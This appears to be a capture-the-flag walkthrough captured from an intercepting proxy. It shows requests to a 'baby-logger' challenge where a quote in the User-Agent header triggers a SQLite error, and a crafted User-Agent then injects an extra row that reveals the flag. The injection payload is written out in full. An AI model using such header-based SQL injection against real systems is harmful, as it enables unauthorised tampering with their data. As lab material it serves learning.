

Request

Raw

Hex

1

GET / HTTP/1.1

2

Host: baby-logger-middleware-5d99c6d0.dailycookie.cloud

3

User-Agent: 'a,aa

4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

5

Accept-Language: en-US,en;q=0.5

6

Accept-Encoding: gzip, deflate

7

Connection: close

8

Upgrade-Insecure-Requests: 1

9

10

Response

Raw

Hex

Render

1

HTTP/1.1 200 OK

2

Date: Sat, 01 Jul 2023 16:00:29 GMT

3

Content-Type: text/html; charset=utf-8

4

Content-Length: 360

5

Connection: close

6

7

An error occurred: (sqlite3.OperationalError) near "a": syntax error

8

[SQL: INSERT INTO logger(ip\_address, user\_agent, referer, url, cookie, created\_at)

9

VALUES (\*\*\*\*, 'a,aa', 'None', 'http://baby-logger-middleware-5d99c6d0.dailycookie.cloud/', 'None', '2023-07-01

10

16:00:29.964644');]

11

(Background on this error at: https://sqlalche.me/e/20/e3q8)

← → ↻ 📄

baby-logger-middleware-5d99c6d0.dailycookie.cloud

🔖

Kali Linux

Kali Tools

Kali Docs

Kali Forums

Kali NetHunter

Exploit-DB

Google Hacking DB

OffSec

GTFOBins

Hash Analyzer - Tunne...

CrackStation - Online ...

An error occurred: (sqlite3.OperationalError) near "a": syntax error [SQL: INSERT INTO logger(ip\_address, user\_agent, referer, url, cookie, created\_at) VALUES (\*\*\*\*, "a,aa", 'None', 'http://baby-logger-middleware-5d99c6d0.dailycookie.cloud/', 'None', '2023-07-01 16:00:29.964644');] (Background on this error at: https://sqlalche.me/e/20/e3q8)

Request

Raw

Hex

1

GET / HTTP/1.1

2

Host: baby-logger-middleware-5d99c6d0.dailycookie.cloud

3

User-Agent: a','','','','',''),('HACKER\_WAS\_HERE','','','','','','');;..

4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

5

Accept-Language: en-US,en;q=0.5

6

Accept-Encoding: gzip, deflate

7

Connection: close

8

Upgrade-Insecure-Requests: 1

9

10

Response

Raw

Hex

Render

24

</tbody>

25

</tbody>

26

</tbody>

27

</tbody>

28

</tbody>

29

</tbody>

30

</tbody>

31

</tbody>

32

</tbody>

33

<td class="text-danger">

34

HACKER\_WAS\_HERE

35

</td>

36

<td class="text-danger">

37

CHH[SQLi\_Can\_change\_data\_09ba1ef38608ee740ca3e7aeef4f0ea2]

38

</td>

39

</td>

40

</td>

41

</td>

42

</td>

43

</td>

44

</td>

45

</td>

46

</td>

# Access Logs

IP	User Agent	Referer	URL	Cookie	Timestamp
HACKER_WAS_HERE	CHH[SQLi_Can_change_data_09ba1ef38608ee740ca3e7aeef4f0ea2]				
***	a				
***	python-requests/2.27.1	None	http://localhost:1337/	None	2023-07-01 15:57:46.619324
***	python-requests/2.27.1	None	http://localhost:1337/	None	2023-07-01 15:57:16.422279
***	python-requests/2.27.1	None	http://localhost:1337/	None	2023-07-01 15:56:46.205317
***	python-requests/2.27.1	None	http://localhost:1337/	None	2023-07-01 15:56:15.994652